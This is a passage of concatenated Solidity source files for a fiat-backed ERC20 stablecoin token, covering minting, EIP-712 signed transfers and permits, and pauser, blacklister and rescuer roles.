CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { FiatTokenV1 } from "../v1/FiatTokenV1.sol"; import { Rescuable } from "./Rescuable.sol"; /** * @title FiatTokenV1_1 * @dev ERC20 Token backed by fiat reserves */ contract FiatTokenV1_1 is FiatTokenV1, Rescuable { } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { AbstractFiatTokenV1 } from "../v1/AbstractFiatTokenV1.sol"; abstract contract AbstractFiatTokenV2 is AbstractFiatTokenV1 { function _increaseAllowance( address owner, address spender, uint256 increment ) internal virtual; function _decreaseAllowance( address owner, address spender, uint256 decrement ) internal virtual; } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { ECRecover } from "./ECRecover.sol"; /** * @title EIP712 * @notice A library that provides EIP712 helper functions */ library EIP712 { /** * @notice Make EIP712 domain separator * @param name Contract name * @param version Contract version * @return Domain separator */ function makeDomainSeparator(string memory name, string memory version) internal view returns (bytes32) { uint256 chainId; assembly { chainId := chainid() } return keccak256( abi.encode( // keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, keccak256(bytes(name)), keccak256(bytes(version)), chainId, address(this) ) ); } /** * @notice Recover signer's address from a EIP712 signature * @param domainSeparator Domain separator * @param v v of the signature * @param r r of the signature * @param s s of the signature * @param typeHashAndData Type hash concatenated with data * @return Signer's address */ function recover( bytes32 domainSeparator, uint8 v, bytes32 r, bytes32 s, bytes memory typeHashAndData ) internal pure returns (address) { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, keccak256(typeHashAndData) ) ); return ECRecover.recover(digest, v, r, s); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; /** * @title EIP712 Domain */ contract EIP712Domain { /** * @dev EIP712 Domain Separator */ bytes32 public DOMAIN_SEPARATOR; } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { AbstractFiatTokenV2 } from "./AbstractFiatTokenV2.sol"; import { EIP712Domain } from "./EIP712Domain.sol"; import { EIP712 } from "../util/EIP712.sol"; /** * @title EIP-3009 * @notice Provide internal implementation for gas-abstracted transfers * @dev Contracts that inherit from this must wrap these with publicly * accessible functions, optionally adding modifiers where necessary */ abstract contract EIP3009 is AbstractFiatTokenV2, EIP712Domain { // keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)") bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267; // keccak256("ReceiveWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)") bytes32 public constant RECEIVE_WITH_AUTHORIZATION_TYPEHASH = 0xd099cc98ef71107a616c4f0f941f04c322d8e254fe26b3c6668db87aae413de8; // keccak256("CancelAuthorization(address authorizer,bytes32 nonce)") bytes32 public constant CANCEL_AUTHORIZATION_TYPEHASH = 0x158b0a9edf7a828aad02f63cd515c68ef2f50ba807396f6d12842833a1597429; /** * @dev authorizer address => nonce => bool (true if nonce is used) */ mapping(address => mapping(bytes32 => bool)) private _authorizationStates; event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce); event AuthorizationCanceled( address indexed authorizer, bytes32 indexed nonce ); /** * @notice Returns the state of an authorization * @dev Nonces are randomly generated 32-byte data unique to the * authorizer's address * @param authorizer Authorizer's address * @param nonce Nonce of the authorization * @return True if the nonce is used */ function authorizationState(address authorizer, bytes32 nonce) external view returns (bool) { return _authorizationStates[authorizer][nonce]; } /** * @notice Execute a transfer with a signed authorization * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function _transferWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) internal { _requireValidAuthorization(from, nonce, validAfter, validBefore); bytes memory data = abi.encode( TRANSFER_WITH_AUTHORIZATION_TYPEHASH, from, to, value, validAfter, validBefore, nonce ); require( EIP712.recover(DOMAIN_SEPARATOR, v, r, s, data) == from, "FiatTokenV2: invalid signature" ); _markAuthorizationAsUsed(from, nonce); _transfer(from, to, value); } /** * @notice Receive a transfer with a signed authorization from the payer * @dev This has an additional check to ensure that the payee's address * matches the caller of this function to prevent front-running attacks. * @param from Payer's address (Authorizer) * @param to Payee's address * @param value Amount to be transferred * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) * @param nonce Unique nonce * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function _receiveWithAuthorization( address from, address to, uint256 value, uint256 validAfter, uint256 validBefore, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) internal { require(to == msg.sender, "FiatTokenV2: caller must be the payee"); _requireValidAuthorization(from, nonce, validAfter, validBefore); bytes memory data = abi.encode( RECEIVE_WITH_AUTHORIZATION_TYPEHASH, from, to, value, validAfter, validBefore, nonce ); require( EIP712.recover(DOMAIN_SEPARATOR, v, r, s, data) == from, "FiatTokenV2: invalid signature" ); _markAuthorizationAsUsed(from, nonce); _transfer(from, to, value); } /** * @notice Attempt to cancel an authorization * @param authorizer Authorizer's address * @param nonce Nonce of the authorization * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function _cancelAuthorization( address authorizer, bytes32 nonce, uint8 v, bytes32 r, bytes32 s ) internal { _requireUnusedAuthorization(authorizer, nonce); bytes memory data = abi.encode( CANCEL_AUTHORIZATION_TYPEHASH, authorizer, nonce ); require( EIP712.recover(DOMAIN_SEPARATOR, v, r, s, data) == authorizer, "FiatTokenV2: invalid signature" ); _authorizationStates[authorizer][nonce] = true; emit AuthorizationCanceled(authorizer, nonce); } /** * @notice Check that an authorization is unused * @param authorizer Authorizer's address * @param nonce Nonce of the authorization */ function _requireUnusedAuthorization(address authorizer, bytes32 nonce) private view { require( !_authorizationStates[authorizer][nonce], "FiatTokenV2: authorization is used or canceled" ); } /** * @notice Check that authorization is valid * @param authorizer Authorizer's address * @param nonce Nonce of the authorization * @param validAfter The time after which this is valid (unix time) * @param validBefore The time before which this is valid (unix time) */ function _requireValidAuthorization( address authorizer, bytes32 nonce, uint256 validAfter, uint256 validBefore ) private view { require( now > validAfter, "FiatTokenV2: authorization is not yet valid" ); require(now < validBefore, "FiatTokenV2: authorization is expired"); _requireUnusedAuthorization(authorizer, nonce); } /** * @notice Mark an authorization as used * @param authorizer Authorizer's address * @param nonce Nonce of the authorization */ function _markAuthorizationAsUsed(address authorizer, bytes32 nonce) private { _authorizationStates[authorizer][nonce] = true; emit AuthorizationUsed(authorizer, nonce); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { AbstractFiatTokenV2 } from "./AbstractFiatTokenV2.sol"; import { EIP712Domain } from "./EIP712Domain.sol"; import { EIP712 } from "../util/EIP712.sol"; /** * @title EIP-2612 * @notice Provide internal implementation for gas-abstracted approvals */ abstract contract EIP2612 is AbstractFiatTokenV2, EIP712Domain { // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint256) private _permitNonces; /** * @notice Nonces for permit * @param owner Token owner's address (Authorizer) * @return Next nonce */ function nonces(address owner) external view returns (uint256) { return _permitNonces[owner]; } /** * @notice Verify a signed approval permit and execute if valid * @param owner Token owner's address (Authorizer) * @param spender Spender's address * @param value Amount of allowance * @param deadline The time at which this expires (unix time) * @param v v of the signature * @param r r of the signature * @param s s of the signature */ function _permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal { require(deadline >= now, "FiatTokenV2: permit is expired"); bytes memory data = abi.encode( PERMIT_TYPEHASH, owner, spender, value, _permitNonces[owner]++, deadline ); require( EIP712.recover(DOMAIN_SEPARATOR, v, r, s, data) == owner, "EIP2612: invalid signature" ); _approve(owner, spender, value); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { AbstractFiatTokenV1 } from "./AbstractFiatTokenV1.sol"; import { Ownable } from "./Ownable.sol"; import { Pausable } from "./Pausable.sol"; import { Blacklistable } from "./Blacklistable.sol"; /** * @title FiatToken * @dev ERC20 Token backed by fiat reserves */ contract FiatTokenV1 is AbstractFiatTokenV1, Ownable, Pausable, Blacklistable { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; string public currency; address public masterMinter; bool internal initialized; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; uint256 internal totalSupply_ = 0; mapping(address => bool) internal minters; mapping(address => uint256) internal minterAllowed; event Mint(address indexed minter, address indexed to, uint256 amount); event Burn(address indexed burner, uint256 amount); event MinterConfigured(address indexed minter, uint256 minterAllowedAmount); event MinterRemoved(address indexed oldMinter); event MasterMinterChanged(address indexed newMasterMinter); function initialize( string memory tokenName, string memory tokenSymbol, string memory tokenCurrency, uint8 tokenDecimals, address newMasterMinter, address newPauser, address newBlacklister, address newOwner ) public { require(!initialized, "FiatToken: contract is already initialized"); require( newMasterMinter != address(0), "FiatToken: new masterMinter is the zero address" ); require( newPauser != address(0), "FiatToken: new pauser is the zero address" ); require( newBlacklister != address(0), "FiatToken: new blacklister is the zero address" ); require( newOwner != address(0), "FiatToken: new owner is the zero address" ); name = tokenName; symbol = tokenSymbol; currency = tokenCurrency; decimals = tokenDecimals; masterMinter = newMasterMinter; pauser = newPauser; blacklister = newBlacklister; setOwner(newOwner); initialized = true; } /** * @dev Throws if called by any account other than a minter */ modifier onlyMinters() { require(minters[msg.sender], "FiatToken: caller is not a minter"); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. Must be less than or equal * to the minterAllowance of the caller. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) external whenNotPaused onlyMinters notBlacklisted(msg.sender) notBlacklisted(_to) returns (bool) { require(_to != address(0), "FiatToken: mint to the zero address"); require(_amount > 0, "FiatToken: mint amount not greater than 0"); uint256 mintingAllowedAmount = minterAllowed[msg.sender]; require( _amount <= mintingAllowedAmount, "FiatToken: mint amount exceeds minterAllowance" ); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); minterAllowed[msg.sender] = mintingAllowedAmount.sub(_amount); emit Mint(msg.sender, _to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Throws if called by any account other than the masterMinter */ modifier onlyMasterMinter() { require( msg.sender == masterMinter, "FiatToken: caller is not the masterMinter" ); _; } /** * @dev Get minter allowance for an account * @param minter The address of the minter */ function minterAllowance(address minter) external view returns (uint256) { return minterAllowed[minter]; } /** * @dev Checks if account is a minter * @param account The address to check */ function isMinter(address account) external view returns (bool) { return minters[account]; } /** * @notice Amount of remaining tokens spender is allowed to transfer on * behalf of the token owner * @param owner Token owner's address * @param spender Spender's address * @return Allowance amount */ function allowance(address owner, address spender) external override view returns (uint256) { return allowed[owner][spender]; } /** * @dev Get totalSupply of token */ function totalSupply() external override view returns (uint256) { return totalSupply_; } /** * @dev Get token balance of an account * @param account address The account */ function balanceOf(address account) external override view returns (uint256) { return balances[account]; } /** * @notice Set spender's allowance over the caller's tokens to be a given * value. * @param spender Spender's address * @param value Allowance amount * @return True if successful */ function approve(address spender, uint256 value) external override whenNotPaused notBlacklisted(msg.sender) notBlacklisted(spender) returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Internal function to set allowance * @param owner Token owner's address * @param spender Spender's address * @param value Allowance amount */ function _approve( address owner, address spender, uint256 value ) internal override { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @notice Transfer tokens by spending allowance * @param from Payer's address * @param to Payee's address * @param value Transfer amount * @return True if successful */ function transferFrom( address from, address to, uint256 value ) external override whenNotPaused notBlacklisted(msg.sender) notBlacklisted(from) notBlacklisted(to) returns (bool) { require( value <= allowed[from][msg.sender], "ERC20: transfer amount exceeds allowance" ); _transfer(from, to, value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); return true; } /** * @notice Transfer tokens from the caller * @param to Payee's address * @param value Transfer amount * @return True if successful */ function transfer(address to, uint256 value) external override whenNotPaused notBlacklisted(msg.sender) notBlacklisted(to) returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @notice Internal function to process transfers * @param from Payer's address * @param to Payee's address * @param value Transfer amount */ function _transfer( address from, address to, uint256 value ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require( value <= balances[from], "ERC20: transfer amount exceeds balance" ); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Function to add/update a new minter * @param minter The address of the minter * @param minterAllowedAmount The minting amount allowed for the minter * @return True if the operation was successful. */ function configureMinter(address minter, uint256 minterAllowedAmount) external whenNotPaused onlyMasterMinter returns (bool) { minters[minter] = true; minterAllowed[minter] = minterAllowedAmount; emit MinterConfigured(minter, minterAllowedAmount); return true; } /** * @dev Function to remove a minter * @param minter The address of the minter to remove * @return True if the operation was successful. */ function removeMinter(address minter) external onlyMasterMinter returns (bool) { minters[minter] = false; minterAllowed[minter] = 0; emit MinterRemoved(minter); return true; } /** * @dev allows a minter to burn some of its own tokens * Validates that caller is a minter and that sender is not blacklisted * amount is less than or equal to the minter's account balance * @param _amount uint256 the amount of tokens to be burned */ function burn(uint256 _amount) external whenNotPaused onlyMinters notBlacklisted(msg.sender) { uint256 balance = balances[msg.sender]; require(_amount > 0, "FiatToken: burn amount not greater than 0"); require(balance >= _amount, "FiatToken: burn amount exceeds balance"); totalSupply_ = totalSupply_.sub(_amount); balances[msg.sender] = balance.sub(_amount); emit Burn(msg.sender, _amount); emit Transfer(msg.sender, address(0), _amount); } function updateMasterMinter(address _newMasterMinter) external onlyOwner { require( _newMasterMinter != address(0), "FiatToken: new masterMinter is the zero address" ); masterMinter = _newMasterMinter; emit MasterMinterChanged(masterMinter); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { Ownable } from "../v1/Ownable.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract Rescuable is Ownable { using SafeERC20 for IERC20; address private _rescuer; event RescuerChanged(address indexed newRescuer); /** * @notice Returns current rescuer * @return Rescuer's address */ function rescuer() external view returns (address) { return _rescuer; } /** * @notice Revert if called by any account other than the rescuer. */ modifier onlyRescuer() { require(msg.sender == _rescuer, "Rescuable: caller is not the rescuer"); _; } /** * @notice Rescue ERC20 tokens locked up in this contract. * @param tokenContract ERC20 token contract address * @param to Recipient address * @param amount Amount to withdraw */ function rescueERC20( IERC20 tokenContract, address to, uint256 amount ) external onlyRescuer { tokenContract.safeTransfer(to, amount); } /** * @notice Assign the rescuer role to a given address. * @param newRescuer New rescuer's address */ function updateRescuer(address newRescuer) external onlyOwner { require( newRescuer != address(0), "Rescuable: new rescuer is the zero address" ); _rescuer = newRescuer; emit RescuerChanged(newRescuer); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; abstract contract AbstractFiatTokenV1 is IERC20 { function _approve( address owner, address spender, uint256 value ) internal virtual; function _transfer( address from, address to, uint256 value ) internal virtual; } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2016 Smart Contract Solutions, Inc. * Copyright (c) 2018-2020 CENTRE SECZ0 * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { Ownable } from "./Ownable.sol"; /** * @notice Base contract which allows children to implement an emergency stop * mechanism * @dev Forked from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/feb665136c0dae9912e08397c1a21c4af3651ef3/contracts/lifecycle/Pausable.sol * Modifications: * 1. Added pauser role, switched pause/unpause to be onlyPauser (6/14/2018) * 2. Removed whenNotPause/whenPaused from pause/unpause (6/14/2018) * 3. Removed whenPaused (6/14/2018) * 4. Switches ownable library to use ZeppelinOS (7/12/18) * 5. Remove constructor (7/13/18) * 6. Reformat, conform to Solidity 0.6 syntax and add error messages (5/13/20) * 7. Make public functions external (5/27/20) */ contract Pausable is Ownable { event Pause(); event Unpause(); event PauserChanged(address indexed newAddress); address public pauser; bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "Pausable: paused"); _; } /** * @dev throws if called by any account other than the pauser */ modifier onlyPauser() { require(msg.sender == pauser, "Pausable: caller is not the pauser"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() external onlyPauser { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() external onlyPauser { paused = false; emit Unpause(); } /** * @dev update the pauser role */ function updatePauser(address _newPauser) external onlyOwner { require( _newPauser != address(0), "Pausable: new pauser is the zero address" ); pauser = _newPauser; emit PauserChanged(pauser); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { Ownable } from "./Ownable.sol"; /** * @title Blacklistable Token * @dev Allows accounts to be blacklisted by a "blacklister" role */ contract Blacklistable is Ownable { address public blacklister; mapping(address => bool) internal blacklisted; event Blacklisted(address indexed _account); event UnBlacklisted(address indexed _account); event BlacklisterChanged(address indexed newBlacklister); /** * @dev Throws if called by any account other than the blacklister */ modifier onlyBlacklister() { require( msg.sender == blacklister, "Blacklistable: caller is not the blacklister" ); _; } /** * @dev Throws if argument account is blacklisted * @param _account The address to check */ modifier notBlacklisted(address _account) { require( !blacklisted[_account], "Blacklistable: account is blacklisted" ); _; } /** * @dev Checks if account is blacklisted * @param _account The address to check */ function isBlacklisted(address _account) external view returns (bool) { return blacklisted[_account]; } /** * @dev Adds account to blacklist * @param _account The address to blacklist */ function blacklist(address _account) external onlyBlacklister { blacklisted[_account] = true; emit Blacklisted(_account); } /** * @dev Removes account from blacklist * @param _account The address to remove from the blacklist */ function unBlacklist(address _account) external onlyBlacklister { blacklisted[_account] = false; emit UnBlacklisted(_account); } function updateBlacklister(address _newBlacklister) external onlyOwner { require( _newBlacklister != address(0), "Blacklistable: new blacklister is the zero address" ); blacklister = _newBlacklister; emit BlacklisterChanged(blacklister); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has 